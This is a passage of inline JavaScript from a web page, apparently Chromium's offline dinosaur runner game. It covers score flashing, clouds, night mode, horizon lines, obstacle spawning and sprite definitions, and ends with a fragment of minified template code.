        this.highScoreBounds.y + this.highScoreBounds.height;
  },

  /**
   * Get the bounding box for the high score.
   * @return {Object} Object with x, y, width and height properties.
   */
  getHighScoreBounds() {
    return {
      x: (this.x - (this.maxScoreUnits * 2) * DistanceMeter.dimensions.WIDTH) -
          DistanceMeter.config.HIGH_SCORE_HIT_AREA_PADDING,
      y: this.y,
      width: DistanceMeter.dimensions.WIDTH * (this.highScore.length + 1) +
          DistanceMeter.config.HIGH_SCORE_HIT_AREA_PADDING,
      height: DistanceMeter.dimensions.HEIGHT +
          (DistanceMeter.config.HIGH_SCORE_HIT_AREA_PADDING * 2),
    };
  },

  /**
   * Animate flashing the high score to indicate ready for resetting.
   * The flashing stops following this.config.FLASH_ITERATIONS x 2 flashes.
   */
  flashHighScore() {
    const now = getTimeStamp();
    const deltaTime = now - (this.frameTimeStamp || now);
    let paint = true;
    this.frameTimeStamp = now;

    // Reached the max number of flashes.
    if (this.flashIterations > this.config.FLASH_ITERATIONS * 2) {
      this.cancelHighScoreFlashing();
      return;
    }

    this.flashTimer += deltaTime;

    if (this.flashTimer < this.config.FLASH_DURATION) {
      paint = false;
    } else if (this.flashTimer > this.config.FLASH_DURATION * 2) {
      this.flashTimer = 0;
      this.flashIterations++;
    }

    if (paint) {
      this.drawHighScore();
    } else {
      this.clearHighScoreBounds();
    }
    // Frame update.
    this.flashingRafId =
        requestAnimationFrame(this.flashHighScore.bind(this));
  },

  /**
   * Draw empty rectangle over high score.
   */
  clearHighScoreBounds() {
    this.canvasCtx.save();
    this.canvasCtx.fillStyle = '#fff';
    this.canvasCtx.rect(this.highScoreBounds.x, this.highScoreBounds.y,
        this.highScoreBounds.width, this.highScoreBounds.height);
    this.canvasCtx.fill();
    this.canvasCtx.restore();
  },

  /**
   * Starts the flashing of the high score.
   */
  startHighScoreFlashing() {
    this.highScoreFlashing = true;
    this.flashHighScore();
  },

  /**
   * Whether high score is flashing.
   * @return {boolean}
   */
  isHighScoreFlashing() {
    return this.highScoreFlashing;
  },

  /**
   * Stop flashing the high score.
   */
  cancelHighScoreFlashing() {
    if (this.flashingRafId) {
      cancelAnimationFrame(this.flashingRafId);
    }
    this.flashIterations = 0;
    this.flashTimer = 0;
    this.highScoreFlashing = false;
    this.clearHighScoreBounds();
    this.drawHighScore();
  },

  /**
   * Clear the high score.
   */
  resetHighScore() {
    this.setHighScore(0);
    this.cancelHighScoreFlashing();
  },

  /**
   * Reset the distance meter back to '00000'.
   */
  reset() {
    this.update(0, 0);
    this.achievement = false;
  },
};


//******************************************************************************

/**
 * Cloud background item.
 * Similar to an obstacle object but without collision boxes.
 * @param {HTMLCanvasElement} canvas Canvas element.
 * @param {Object} spritePos Position of image in sprite.
 * @param {number} containerWidth
 * @constructor
 */
function Cloud(canvas, spritePos, containerWidth) {
  this.canvas = canvas;
  this.canvasCtx =
      /** @type {CanvasRenderingContext2D} */ (this.canvas.getContext('2d'));
  this.spritePos = spritePos;
  this.containerWidth = containerWidth;
  this.xPos = containerWidth;
  this.yPos = 0;
  this.remove = false;
  this.gap =
      getRandomNum(Cloud.config.MIN_CLOUD_GAP, Cloud.config.MAX_CLOUD_GAP);

  this.init();
}


/**
 * Cloud object config.
 * @enum {number}
 */
Cloud.config = {
  HEIGHT: 14,
  MAX_CLOUD_GAP: 400,
  MAX_SKY_LEVEL: 30,
  MIN_CLOUD_GAP: 100,
  MIN_SKY_LEVEL: 71,
  WIDTH: 46,
};


Cloud.prototype = {
  /**
   * Initialise the cloud. Sets the Cloud height.
   */
  init() {
    this.yPos = getRandomNum(Cloud.config.MAX_SKY_LEVEL,
        Cloud.config.MIN_SKY_LEVEL);
    this.draw();
  },

  /**
   * Draw the cloud.
   */
  draw() {
    this.canvasCtx.save();
    let sourceWidth = Cloud.config.WIDTH;
    let sourceHeight = Cloud.config.HEIGHT;
    const outputWidth = sourceWidth;
    const outputHeight = sourceHeight;
    if (IS_HIDPI) {
      sourceWidth = sourceWidth * 2;
      sourceHeight = sourceHeight * 2;
    }

    this.canvasCtx.drawImage(Runner.imageSprite, this.spritePos.x,
        this.spritePos.y,
        sourceWidth, sourceHeight,
        this.xPos, this.yPos,
        outputWidth, outputHeight);

    this.canvasCtx.restore();
  },

  /**
   * Update the cloud position.
   * @param {number} speed
   */
  update(speed) {
    if (!this.remove) {
      this.xPos -= Math.ceil(speed);
      this.draw();

      // Mark as removeable if no longer in the canvas.
      if (!this.isVisible()) {
        this.remove = true;
      }
    }
  },

  /**
   * Check if the cloud is visible on the stage.
   * @return {boolean}
   */
  isVisible() {
    return this.xPos + Cloud.config.WIDTH > 0;
  },
};


/**
 * Background item.
 * Similar to cloud, without random y position.
 * @param {HTMLCanvasElement} canvas Canvas element.
 * @param {Object} spritePos Position of image in sprite.
 * @param {number} containerWidth
 * @param {string} type Element type.
 * @constructor
 */
function BackgroundEl(canvas, spritePos, containerWidth, type) {
  this.canvas = canvas;
  this.canvasCtx =
      /** @type {CanvasRenderingContext2D} */ (this.canvas.getContext('2d'));
  this.spritePos = spritePos;
  this.containerWidth = containerWidth;
  this.xPos = containerWidth;
  this.yPos = 0;
  this.remove = false;
  this.type = type;
  this.gap =
      getRandomNum(BackgroundEl.config.MIN_GAP, BackgroundEl.config.MAX_GAP);
  this.animTimer = 0;
  this.switchFrames = false;

  this.spriteConfig = {};
  this.init();
}

/**
 * Background element object config.
 * Real values assigned when game type changes.
 * @enum {number}
 */
BackgroundEl.config = {
  MAX_BG_ELS: 0,
  MAX_GAP: 0,
  MIN_GAP: 0,
  POS: 0,
  SPEED: 0,
  Y_POS: 0,
  MS_PER_FRAME: 0,  // only needed when BACKGROUND_EL.FIXED is true
};


BackgroundEl.prototype = {
  /**
   * Initialise the element setting the y position.
   */
  init() {
    this.spriteConfig = Runner.spriteDefinition.BACKGROUND_EL[this.type];
    if (this.spriteConfig.FIXED) {
      this.xPos = this.spriteConfig.FIXED_X_POS;
    }
    this.yPos = BackgroundEl.config.Y_POS - this.spriteConfig.HEIGHT +
        this.spriteConfig.OFFSET;
    this.draw();
  },

  /**
   * Draw the element.
   */
  draw() {
    this.canvasCtx.save();
    let sourceWidth = this.spriteConfig.WIDTH;
    let sourceHeight = this.spriteConfig.HEIGHT;
    let sourceX = this.spriteConfig.X_POS;
    const outputWidth = sourceWidth;
    const outputHeight = sourceHeight;

    if (IS_HIDPI) {
      sourceWidth *= 2;
      sourceHeight *= 2;
      sourceX *= 2;
    }

    this.canvasCtx.drawImage(
        Runner.imageSprite, sourceX, this.spritePos.y, sourceWidth,
        sourceHeight, this.xPos, this.yPos, outputWidth, outputHeight);

    this.canvasCtx.restore();
  },

  /**
   * Update the background element position.
   * @param {number} speed
   */
  update(speed) {
    if (!this.remove) {
      if (this.spriteConfig.FIXED) {
        this.animTimer += speed;
        if (this.animTimer > BackgroundEl.config.MS_PER_FRAME) {
          this.animTimer = 0;
          this.switchFrames = !this.switchFrames;
        }

        if (this.spriteConfig.FIXED_Y_POS_1 &&
            this.spriteConfig.FIXED_Y_POS_2) {
          this.yPos = this.switchFrames ? this.spriteConfig.FIXED_Y_POS_1 :
                                          this.spriteConfig.FIXED_Y_POS_2;
        }
      } else {
        // Fixed speed, regardless of actual game speed.
        this.xPos -= BackgroundEl.config.SPEED;
      }
      this.draw();

      // Mark as removable if no longer in the canvas.
      if (!this.isVisible()) {
        this.remove = true;
      }
    }
  },

  /**
   * Check if the element is visible on the stage.
   * @return {boolean}
   */
  isVisible() {
    return this.xPos + this.spriteConfig.WIDTH > 0;
  },
};



//******************************************************************************

/**
 * Nightmode shows a moon and stars on the horizon.
 * @param {HTMLCanvasElement} canvas
 * @param {number} spritePos
 * @param {number} containerWidth
 * @constructor
 */
function NightMode(canvas, spritePos, containerWidth) {
  this.spritePos = spritePos;
  this.canvas = canvas;
  this.canvasCtx =
      /** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
  this.xPos = containerWidth - 50;
  this.yPos = 30;
  this.currentPhase = 0;
  this.opacity = 0;
  this.containerWidth = containerWidth;
  this.stars = [];
  this.drawStars = false;
  this.placeStars();
}

/**
 * @enum {number}
 */
NightMode.config = {
  FADE_SPEED: 0.035,
  HEIGHT: 40,
  MOON_SPEED: 0.25,
  NUM_STARS: 2,
  STAR_SIZE: 9,
  STAR_SPEED: 0.3,
  STAR_MAX_Y: 70,
  WIDTH: 20,
};

NightMode.phases = [140, 120, 100, 60, 40, 20, 0];

NightMode.prototype = {
  /**
   * Update moving moon, changing phases.
   * @param {boolean} activated Whether night mode is activated.
   */
  update(activated) {
    // Moon phase.
    if (activated && this.opacity === 0) {
      this.currentPhase++;

      if (this.currentPhase >= NightMode.phases.length) {
        this.currentPhase = 0;
      }
    }

    // Fade in / out.
    if (activated && (this.opacity < 1 || this.opacity === 0)) {
      this.opacity += NightMode.config.FADE_SPEED;
    } else if (this.opacity > 0) {
      this.opacity -= NightMode.config.FADE_SPEED;
    }

    // Set moon positioning.
    if (this.opacity > 0) {
      this.xPos = this.updateXPos(this.xPos, NightMode.config.MOON_SPEED);

      // Update stars.
      if (this.drawStars) {
        for (let i = 0; i < NightMode.config.NUM_STARS; i++) {
          this.stars[i].x =
              this.updateXPos(this.stars[i].x, NightMode.config.STAR_SPEED);
        }
      }
      this.draw();
    } else {
      this.opacity = 0;
      this.placeStars();
    }
    this.drawStars = true;
  },

  updateXPos(currentPos, speed) {
    if (currentPos < -NightMode.config.WIDTH) {
      currentPos = this.containerWidth;
    } else {
      currentPos -= speed;
    }
    return currentPos;
  },

  draw() {
    let moonSourceWidth = this.currentPhase === 3 ? NightMode.config.WIDTH * 2 :
                                                    NightMode.config.WIDTH;
    let moonSourceHeight = NightMode.config.HEIGHT;
    let moonSourceX = this.spritePos.x + NightMode.phases[this.currentPhase];
    const moonOutputWidth = moonSourceWidth;
    let starSize = NightMode.config.STAR_SIZE;
    let starSourceX = Runner.spriteDefinitionByType.original.LDPI.STAR.x;

    if (IS_HIDPI) {
      moonSourceWidth *= 2;
      moonSourceHeight *= 2;
      moonSourceX = this.spritePos.x +
          (NightMode.phases[this.currentPhase] * 2);
      starSize *= 2;
      starSourceX = Runner.spriteDefinitionByType.original.HDPI.STAR.x;
    }

    this.canvasCtx.save();
    this.canvasCtx.globalAlpha = this.opacity;

    // Stars.
    if (this.drawStars) {
      for (let i = 0; i < NightMode.config.NUM_STARS; i++) {
        this.canvasCtx.drawImage(
            Runner.origImageSprite, starSourceX, this.stars[i].sourceY,
            starSize, starSize, Math.round(this.stars[i].x), this.stars[i].y,
            NightMode.config.STAR_SIZE, NightMode.config.STAR_SIZE);
      }
    }

    // Moon.
    this.canvasCtx.drawImage(
        Runner.origImageSprite, moonSourceX, this.spritePos.y, moonSourceWidth,
        moonSourceHeight, Math.round(this.xPos), this.yPos, moonOutputWidth,
        NightMode.config.HEIGHT);

    this.canvasCtx.globalAlpha = 1;
    this.canvasCtx.restore();
  },

  // Do star placement.
  placeStars() {
    const segmentSize = Math.round(this.containerWidth /
        NightMode.config.NUM_STARS);

    for (let i = 0; i < NightMode.config.NUM_STARS; i++) {
      this.stars[i] = {};
      this.stars[i].x = getRandomNum(segmentSize * i, segmentSize * (i + 1));
      this.stars[i].y = getRandomNum(0, NightMode.config.STAR_MAX_Y);

      if (IS_HIDPI) {
        this.stars[i].sourceY =
            Runner.spriteDefinitionByType.original.HDPI.STAR.y +
            NightMode.config.STAR_SIZE * 2 * i;
      } else {
        this.stars[i].sourceY =
            Runner.spriteDefinitionByType.original.LDPI.STAR.y +
            NightMode.config.STAR_SIZE * i;
      }
    }
  },

  reset() {
    this.currentPhase = 0;
    this.opacity = 0;
    this.update(false);
  },

};


//******************************************************************************

/**
 * Horizon Line.
 * Consists of two connecting lines. Randomly assigns a flat / bumpy horizon.
 * @param {HTMLCanvasElement} canvas
 * @param {Object} lineConfig Configuration object.
 * @constructor
 */
function HorizonLine(canvas, lineConfig) {
  let sourceX = lineConfig.SOURCE_X;
  let sourceY = lineConfig.SOURCE_Y;

  if (IS_HIDPI) {
    sourceX *= 2;
    sourceY *= 2;
  }

  this.spritePos = {x: sourceX, y: sourceY};
  this.canvas = canvas;
  this.canvasCtx =
      /** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
  this.sourceDimensions = {};
  this.dimensions = lineConfig;

  this.sourceXPos = [this.spritePos.x, this.spritePos.x +
      this.dimensions.WIDTH];
  this.xPos = [];
  this.yPos = 0;
  this.bumpThreshold = 0.5;

  this.setSourceDimensions(lineConfig);
  this.draw();
}


/**
 * Horizon line dimensions.
 * @enum {number}
 */
HorizonLine.dimensions = {
  WIDTH: 600,
  HEIGHT: 12,
  YPOS: 127,
};


HorizonLine.prototype = {
  /**
   * Set the source dimensions of the horizon line.
   */
  setSourceDimensions(newDimensions) {
    for (const dimension in newDimensions) {
      if (dimension !== 'SOURCE_X' && dimension !== 'SOURCE_Y') {
        if (IS_HIDPI) {
          if (dimension !== 'YPOS') {
            this.sourceDimensions[dimension] = newDimensions[dimension] * 2;
          }
        } else {
          this.sourceDimensions[dimension] = newDimensions[dimension];
        }
        this.dimensions[dimension] = newDimensions[dimension];
      }
    }

    this.xPos = [0, newDimensions.WIDTH];
    this.yPos = newDimensions.YPOS;
  },

  /**
   * Return the crop x position of a type.
   */
  getRandomType() {
    return Math.random() > this.bumpThreshold ? this.dimensions.WIDTH : 0;
  },

  /**
   * Draw the horizon line.
   */
  draw() {
    this.canvasCtx.drawImage(Runner.imageSprite, this.sourceXPos[0],
        this.spritePos.y,
        this.sourceDimensions.WIDTH, this.sourceDimensions.HEIGHT,
        this.xPos[0], this.yPos,
        this.dimensions.WIDTH, this.dimensions.HEIGHT);

    this.canvasCtx.drawImage(Runner.imageSprite, this.sourceXPos[1],
        this.spritePos.y,
        this.sourceDimensions.WIDTH, this.sourceDimensions.HEIGHT,
        this.xPos[1], this.yPos,
        this.dimensions.WIDTH, this.dimensions.HEIGHT);
  },

  /**
   * Update the x position of an indivdual piece of the line.
   * @param {number} pos Line position.
   * @param {number} increment
   */
  updateXPos(pos, increment) {
    const line1 = pos;
    const line2 = pos === 0 ? 1 : 0;

    this.xPos[line1] -= increment;
    this.xPos[line2] = this.xPos[line1] + this.dimensions.WIDTH;

    if (this.xPos[line1] <= -this.dimensions.WIDTH) {
      this.xPos[line1] += this.dimensions.WIDTH * 2;
      this.xPos[line2] = this.xPos[line1] - this.dimensions.WIDTH;
      this.sourceXPos[line1] = this.getRandomType() + this.spritePos.x;
    }
  },

  /**
   * Update the horizon line.
   * @param {number} deltaTime
   * @param {number} speed
   */
  update(deltaTime, speed) {
    const increment = Math.floor(speed * (FPS / 1000) * deltaTime);

    if (this.xPos[0] <= 0) {
      this.updateXPos(0, increment);
    } else {
      this.updateXPos(1, increment);
    }
    this.draw();
  },

  /**
   * Reset horizon to the starting position.
   */
  reset() {
    this.xPos[0] = 0;
    this.xPos[1] = this.dimensions.WIDTH;
  },
};


//******************************************************************************

/**
 * Horizon background class.
 * @param {HTMLCanvasElement} canvas
 * @param {Object} spritePos Sprite positioning.
 * @param {Object} dimensions Canvas dimensions.
 * @param {number} gapCoefficient
 * @constructor
 */
function Horizon(canvas, spritePos, dimensions, gapCoefficient) {
  this.canvas = canvas;
  this.canvasCtx =
      /** @type {CanvasRenderingContext2D} */ (this.canvas.getContext('2d'));
  this.config = Horizon.config;
  this.dimensions = dimensions;
  this.gapCoefficient = gapCoefficient;
  this.obstacles = [];
  this.obstacleHistory = [];
  this.horizonOffsets = [0, 0];
  this.cloudFrequency = this.config.CLOUD_FREQUENCY;
  this.spritePos = spritePos;
  this.nightMode = null;
  this.altGameModeActive = false;

  // Cloud
  this.clouds = [];
  this.cloudSpeed = this.config.BG_CLOUD_SPEED;

  // Background elements
  this.backgroundEls = [];
  this.lastEl = null;
  this.backgroundSpeed = this.config.BG_CLOUD_SPEED;

  // Horizon
  this.horizonLine = null;
  this.horizonLines = [];
  this.init();
}


/**
 * Horizon config.
 * @enum {number}
 */
Horizon.config = {
  BG_CLOUD_SPEED: 0.2,
  BUMPY_THRESHOLD: .3,
  CLOUD_FREQUENCY: .5,
  HORIZON_HEIGHT: 16,
  MAX_CLOUDS: 6,
};


Horizon.prototype = {
  /**
   * Initialise the horizon. Just add the line and a cloud. No obstacles.
   */
  init() {
    Obstacle.types = Runner.spriteDefinitionByType.original.OBSTACLES;
    this.addCloud();
    // Multiple Horizon lines
    for (let i = 0; i < Runner.spriteDefinition.LINES.length; i++) {
      this.horizonLines.push(
          new HorizonLine(this.canvas, Runner.spriteDefinition.LINES[i]));
    }

    this.nightMode = new NightMode(this.canvas, this.spritePos.MOON,
        this.dimensions.WIDTH);
  },

  /**
   * Update obstacle definitions based on the speed of the game.
   */
  adjustObstacleSpeed: function() {
    for (let i = 0; i < Obstacle.types.length; i++) {
      if (Runner.slowDown) {
        Obstacle.types[i].multipleSpeed = Obstacle.types[i].multipleSpeed / 2;
        Obstacle.types[i].minGap *= 1.5;
        Obstacle.types[i].minSpeed = Obstacle.types[i].minSpeed / 2;

        // Convert variable y position obstacles to fixed.
        if (typeof (Obstacle.types[i].yPos) == 'object') {
          Obstacle.types[i].yPos = Obstacle.types[i].yPos[0];
          Obstacle.types[i].yPosMobile = Obstacle.types[i].yPos[0];
        }
      }
    }
  },

  /**
   * Update sprites to correspond to change in sprite sheet.
   * @param {number} spritePos
   */
  enableAltGameMode: function(spritePos) {
    // Clear existing horizon objects.
    this.clouds = [];
    this.backgroundEls = [];

    this.altGameModeActive = true;
    this.spritePos = spritePos;

    Obstacle.types = Runner.spriteDefinition.OBSTACLES;
    this.adjustObstacleSpeed();

    Obstacle.MAX_GAP_COEFFICIENT = Runner.spriteDefinition.MAX_GAP_COEFFICIENT;
    Obstacle.MAX_OBSTACLE_LENGTH = Runner.spriteDefinition.MAX_OBSTACLE_LENGTH;

    BackgroundEl.config = Runner.spriteDefinition.BACKGROUND_EL_CONFIG;

    this.horizonLines = [];
    for (let i = 0; i < Runner.spriteDefinition.LINES.length; i++) {
      this.horizonLines.push(
          new HorizonLine(this.canvas, Runner.spriteDefinition.LINES[i]));
    }
    this.reset();
  },

  /**
   * @param {number} deltaTime
   * @param {number} currentSpeed
   * @param {boolean} updateObstacles Used as an override to prevent
   *     the obstacles from being updated / added. This happens in the
   *     ease in section.
   * @param {boolean} showNightMode Night mode activated.
   */
  update(deltaTime, currentSpeed, updateObstacles, showNightMode) {
    this.runningTime += deltaTime;

    if (this.altGameModeActive) {
      this.updateBackgroundEls(deltaTime, currentSpeed);
    }

    for (let i = 0; i < this.horizonLines.length; i++) {
      this.horizonLines[i].update(deltaTime, currentSpeed);
    }

    if (!this.altGameModeActive || Runner.spriteDefinition.HAS_CLOUDS) {
      this.nightMode.update(showNightMode);
      this.updateClouds(deltaTime, currentSpeed);
    }

    if (updateObstacles) {
      this.updateObstacles(deltaTime, currentSpeed);
    }
  },

  /**
   * Update background element positions. Also handles creating new elements.
   * @param {number} elSpeed
   * @param {Array<Object>} bgElArray
   * @param {number} maxBgEl
   * @param {Function} bgElAddFunction
   * @param {number} frequency
   */
  updateBackgroundEl(elSpeed, bgElArray, maxBgEl, bgElAddFunction, frequency) {
    const numElements = bgElArray.length;

    if (numElements) {
      for (let i = numElements - 1; i >= 0; i--) {
        bgElArray[i].update(elSpeed);
      }

      const lastEl = bgElArray[numElements - 1];

      // Check for adding a new element.
      if (numElements < maxBgEl &&
          (this.dimensions.WIDTH - lastEl.xPos) > lastEl.gap &&
          frequency > Math.random()) {
        bgElAddFunction();
      }
    } else {
      bgElAddFunction();
    }
  },

  /**
   * Update the cloud positions.
   * @param {number} deltaTime
   * @param {number} speed
   */
  updateClouds(deltaTime, speed) {
    const elSpeed = this.cloudSpeed / 1000 * deltaTime * speed;
    this.updateBackgroundEl(
        elSpeed, this.clouds, this.config.MAX_CLOUDS, this.addCloud.bind(this),
        this.cloudFrequency);

    // Remove expired elements.
    this.clouds = this.clouds.filter((obj) => !obj.remove);
  },

  /**
   * Update the background element positions.
   * @param {number} deltaTime
   * @param {number} speed
   */
  updateBackgroundEls(deltaTime, speed) {
    this.updateBackgroundEl(
        deltaTime, this.backgroundEls, BackgroundEl.config.MAX_BG_ELS,
        this.addBackgroundEl.bind(this), this.cloudFrequency);

    // Remove expired elements.
    this.backgroundEls = this.backgroundEls.filter((obj) => !obj.remove);
  },

  /**
   * Update the obstacle positions.
   * @param {number} deltaTime
   * @param {number} currentSpeed
   */
  updateObstacles(deltaTime, currentSpeed) {
    const updatedObstacles = this.obstacles.slice(0);

    for (let i = 0; i < this.obstacles.length; i++) {
      const obstacle = this.obstacles[i];
      obstacle.update(deltaTime, currentSpeed);

      // Clean up existing obstacles.
      if (obstacle.remove) {
        updatedObstacles.shift();
      }
    }
    this.obstacles = updatedObstacles;

    if (this.obstacles.length > 0) {
      const lastObstacle = this.obstacles[this.obstacles.length - 1];

      if (lastObstacle && !lastObstacle.followingObstacleCreated &&
          lastObstacle.isVisible() &&
          (lastObstacle.xPos + lastObstacle.width + lastObstacle.gap) <
          this.dimensions.WIDTH) {
        this.addNewObstacle(currentSpeed);
        lastObstacle.followingObstacleCreated = true;
      }
    } else {
      // Create new obstacles.
      this.addNewObstacle(currentSpeed);
    }
  },

  removeFirstObstacle() {
    this.obstacles.shift();
  },

  /**
   * Add a new obstacle.
   * @param {number} currentSpeed
   */
  addNewObstacle(currentSpeed) {
    const obstacleCount =
        Obstacle.types[Obstacle.types.length - 1].type != 'COLLECTABLE' ||
            (Runner.isAltGameModeEnabled() && !this.altGameModeActive ||
             this.altGameModeActive) ?
        Obstacle.types.length - 1 :
        Obstacle.types.length - 2;
    const obstacleTypeIndex =
        obstacleCount > 0 ? getRandomNum(0, obstacleCount) : 0;
    const obstacleType = Obstacle.types[obstacleTypeIndex];

    // Check for multiples of the same type of obstacle.
    // Also check obstacle is available at current speed.
    if ((obstacleCount > 0 && this.duplicateObstacleCheck(obstacleType.type)) ||
        currentSpeed < obstacleType.minSpeed) {
      this.addNewObstacle(currentSpeed);
    } else {
      const obstacleSpritePos = this.spritePos[obstacleType.type];

      this.obstacles.push(new Obstacle(
          this.canvasCtx, obstacleType, obstacleSpritePos, this.dimensions,
          this.gapCoefficient, currentSpeed, obstacleType.width,
          this.altGameModeActive));

      this.obstacleHistory.unshift(obstacleType.type);

      if (this.obstacleHistory.length > 1) {
        this.obstacleHistory.splice(Runner.config.MAX_OBSTACLE_DUPLICATION);
      }
    }
  },

  /**
   * Returns whether the previous two obstacles are the same as the next one.
   * Maximum duplication is set in config value MAX_OBSTACLE_DUPLICATION.
   * @return {boolean}
   */
  duplicateObstacleCheck(nextObstacleType) {
    let duplicateCount = 0;

    for (let i = 0; i < this.obstacleHistory.length; i++) {
      duplicateCount =
          this.obstacleHistory[i] === nextObstacleType ? duplicateCount + 1 : 0;
    }
    return duplicateCount >= Runner.config.MAX_OBSTACLE_DUPLICATION;
  },

  /**
   * Reset the horizon layer.
   * Remove existing obstacles and reposition the horizon line.
   */
  reset() {
    this.obstacles = [];
    for (let l = 0; l < this.horizonLines.length; l++) {
      this.horizonLines[l].reset();
    }

    this.nightMode.reset();
  },

  /**
   * Update the canvas width and scaling.
   * @param {number} width Canvas width.
   * @param {number} height Canvas height.
   */
  resize(width, height) {
    this.canvas.width = width;
    this.canvas.height = height;
  },

  /**
   * Add a new cloud to the horizon.
   */
  addCloud() {
    this.clouds.push(new Cloud(this.canvas, this.spritePos.CLOUD,
        this.dimensions.WIDTH));
  },

  /**
   * Add a random background element to the horizon.
   */
  addBackgroundEl() {
    const backgroundElTypes =
        Object.keys(Runner.spriteDefinition.BACKGROUND_EL);

    if (backgroundElTypes.length > 0) {
      let index = getRandomNum(0, backgroundElTypes.length - 1);
      let type = backgroundElTypes[index];

      // Add variation if available.
      while (type == this.lastEl && backgroundElTypes.length > 1) {
        index = getRandomNum(0, backgroundElTypes.length - 1);
        type = backgroundElTypes[index];
      }

      this.lastEl = type;
      this.backgroundEls.push(new BackgroundEl(
          this.canvas, this.spritePos.BACKGROUND_EL, this.dimensions.WIDTH,
          type));
    }
  },
};
</script>
  <script>// Copyright 2021 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

/* @const
 * Add matching sprite definition and config to Runner.spriteDefinitionByType.
 */
const GAME_TYPE = [];

/**
 * Obstacle definitions.
 * minGap: minimum pixel space between obstacles.
 * multipleSpeed: Speed at which multiples are allowed.
 * speedOffset: speed faster / slower than the horizon.
 * minSpeed: Minimum speed which the obstacle can make an appearance.
 *
 * @typedef {{
 *   type: string,
 *   width: number,
 *   height: number,
 *   yPos: number,
 *   multipleSpeed: number,
 *   minGap: number,
 *   minSpeed: number,
 *   collisionBoxes: Array<CollisionBox>,
 * }}
 */
let ObstacleType;

/**
 * T-Rex runner sprite definitions.
 */
Runner.spriteDefinitionByType = {
  original: {
    LDPI: {
      BACKGROUND_EL: {x: 86, y: 2},
      CACTUS_LARGE: {x: 332, y: 2},
      CACTUS_SMALL: {x: 228, y: 2},
      OBSTACLE_2: {x: 332, y: 2},
      OBSTACLE: {x: 228, y: 2},
      CLOUD: {x: 86, y: 2},
      HORIZON: {x: 2, y: 54},
      MOON: {x: 484, y: 2},
      PTERODACTYL: {x: 134, y: 2},
      RESTART: {x: 2, y: 68},
      TEXT_SPRITE: {x: 655, y: 2},
      TREX: {x: 848, y: 2},
      STAR: {x: 645, y: 2},
      COLLECTABLE: {x: 2, y: 2},
      ALT_GAME_END: {x: 121, y: 2},
    },
    HDPI: {
      BACKGROUND_EL: {x: 166, y: 2},
      CACTUS_LARGE: {x: 652, y: 2},
      CACTUS_SMALL: {x: 446, y: 2},
      OBSTACLE_2: {x: 652, y: 2},
      OBSTACLE: {x: 446, y: 2},
      CLOUD: {x: 166, y: 2},
      HORIZON: {x: 2, y: 104},
      MOON: {x: 954, y: 2},
      PTERODACTYL: {x: 260, y: 2},
      RESTART: {x: 2, y: 130},
      TEXT_SPRITE: {x: 1294, y: 2},
      TREX: {x: 1678, y: 2},
      STAR: {x: 1276, y: 2},
      COLLECTABLE: {x: 4, y: 4},
      ALT_GAME_END: {x: 242, y: 4},
    },
    MAX_GAP_COEFFICIENT: 1.5,
    MAX_OBSTACLE_LENGTH: 3,
    HAS_CLOUDS: 1,
    BOTTOM_PAD: 10,
    TREX: {
      WAITING_1: {x: 44, w: 44, h: 47, xOffset: 0},
      WAITING_2: {x: 0, w: 44, h: 47, xOffset: 0},
      RUNNING_1: {x: 88, w: 44, h: 47, xOffset: 0},
      RUNNING_2: {x: 132, w: 44, h: 47, xOffset: 0},
      JUMPING: {x: 0, w: 44, h: 47, xOffset: 0},
      CRASHED: {x: 220, w: 44, h: 47, xOffset: 0},
      COLLISION_BOXES: [
        new CollisionBox(22, 0, 17, 16),
        new CollisionBox(1, 18, 30, 9),
        new CollisionBox(10, 35, 14, 8),
        new CollisionBox(1, 24, 29, 5),
        new CollisionBox(5, 30, 21, 4),
        new CollisionBox(9, 34, 15, 4),
      ],
    },
    /** @type {Array<ObstacleType>} */
    OBSTACLES: [
      {
        type: 'CACTUS_SMALL',
        width: 17,
        height: 35,
        yPos: 105,
        multipleSpeed: 4,
        minGap: 120,
        minSpeed: 0,
        collisionBoxes: [
          new CollisionBox(0, 7, 5, 27),
          new CollisionBox(4, 0, 6, 34),
          new CollisionBox(10, 4, 7, 14),
        ],
      },
      {
        type: 'CACTUS_LARGE',
        width: 25,
        height: 50,
        yPos: 90,
        multipleSpeed: 7,
        minGap: 120,
        minSpeed: 0,
        collisionBoxes: [
          new CollisionBox(0, 12, 7, 38),
          new CollisionBox(8, 0, 7, 49),
          new CollisionBox(13, 10, 10, 38),
        ],
      },
      {
        type: 'PTERODACTYL',
        width: 46,
        height: 40,
        yPos: [100, 75, 50],    // Variable height.
        yPosMobile: [100, 50],  // Variable height mobile.
        multipleSpeed: 999,
        minSpeed: 8.5,
        minGap: 150,
        collisionBoxes: [
          new CollisionBox(15, 15, 16, 5),
          new CollisionBox(18, 21, 24, 6),
          new CollisionBox(2, 14, 4, 3),
          new CollisionBox(6, 10, 4, 7),
          new CollisionBox(10, 8, 6, 9),
        ],
        numFrames: 2,
        frameRate: 1000 / 6,
        speedOffset: .8,
      },
    ],
    BACKGROUND_EL: {
      'CLOUD': {
        HEIGHT: 14,
        MAX_CLOUD_GAP: 400,
        MAX_SKY_LEVEL: 30,
        MIN_CLOUD_GAP: 100,
        MIN_SKY_LEVEL: 71,
        OFFSET: 4,
        WIDTH: 46,
        X_POS: 1,
        Y_POS: 120,
      },
    },
    BACKGROUND_EL_CONFIG: {
      MAX_BG_ELS: 1,
      MAX_GAP: 400,
      MIN_GAP: 100,
      POS: 0,
      SPEED: 0.5,
      Y_POS: 125,
    },
    LINES: [
      {SOURCE_X: 2, SOURCE_Y: 52, WIDTH: 600, HEIGHT: 12, YPOS: 127},
    ],
  },
};
</script>
  
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F.prototype.b=function(a,b){var c=R(b),e=c.jsdisplay;if(e){if(!y(a,e,b)){r(b);return}q(b)}if(e=c.jsvars)for(var d=0,g=e.length;d<g;d+=2){var h=e[d],f=y(a,e[d+1],b);a.a[h]=f}if(e=c.jsvalues)for(d=0,g=e.length;d<g;d+=2)if(f=e[d],h=y(a,e[d+1],b),"$"==f.charAt(0))a.a[f]=h;else if("."==f.charAt(0)){f=f.substr(1).split(".");for(var k=b,O=f.length,C=0,U=O-1;C<U;++C){var D=f[C];k[D]||(k[D]={});k=k[D]}k[f[O-1]]=h}else f&&("boolean"==typeof h?h?b.setAttribute(f,f):b.removeAttribute(f):b.setAttribute(f,""+h));
